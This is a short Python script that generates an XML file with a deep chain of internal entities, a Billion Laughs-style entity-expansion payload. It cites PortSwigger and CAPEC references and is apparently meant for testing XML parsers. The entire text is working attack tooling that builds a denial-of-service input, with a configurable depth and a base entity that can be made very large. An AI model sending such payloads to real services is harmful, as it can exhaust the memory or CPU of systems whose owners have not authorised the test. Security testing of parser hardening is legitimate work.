generate-deep-xml-internal-entities.py

#!/usr/bin/env python
"""
Script to generate a XML with a deep hierarchy of Internal Entities.

References:
    https://portswigger.net/kb/issues/00400700_xml-entity-expansion
    https://capec.mitre.org/data/definitions/197.html
    https://en.wikipedia.org/wiki/Billion_laughs_attack
"""
import sys
import os
if len(sys.argv) < 2:
    print(f"Call syntax: {sys.argv[0]} [WANTED_INTERNAL_ENTITIES_DEEPNESS] [OPTIONAL_SIZE_IN_KB_FOR_CONTENT_FOR_BASE_ENTITY]")
    print(f"    Example: {sys.argv[0]} 10")
    print(f"             {sys.argv[0]} 10 1024")
    sys.exit(1)
wanted_deepness = int(sys.argv[1])
output_file = "sample-xee.xml"
entity_text = "RIGHETTOD"
entities_content = ""
last_entity_identifier = ""
msg = f"Generate XML with a deep hierarchy of {wanted_deepness} internal entities"
if len(sys.argv) == 3:
    wanted_size = int(sys.argv[2])
    entity_text = "X" * (1024 * wanted_size)
    msg += f" with a base entity of {wanted_size} KB"
print(f"[+] {msg}...")
for i in range(wanted_deepness):
    progress = str(round((i*100) / wanted_deepness)).zfill(2)
    print(f"\r{progress}%", end="", flush=True)
    id_entity_current = str(i).zfill(2)
    if i == 0:
        entities_content = f'\t<!ENTITY xeelevel{id_entity_current} "{entity_text}{id_entity_current}">\n'
    else:
        id_entity_previous = str(i-1).zfill(2)
        entities_content += f'\t<!ENTITY xeelevel{id_entity_current} "&xeelevel{id_entity_previous};{entity_text}{id_entity_current}">\n'
        last_entity_identifier = f"&xeelevel{id_entity_current};"
content = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
{entities_content}
]>
<root>{last_entity_identifier}</root>'''
print("\r100%")
print("[+] Saving content to file...")
with open(output_file, mode="w", encoding="utf-8") as f:
    f.write(content)
file_stats = os.stat(output_file)
print(f"[V] File saved to '{output_file}' ({round(file_stats.st_size / (1024 * 1024))} MB).")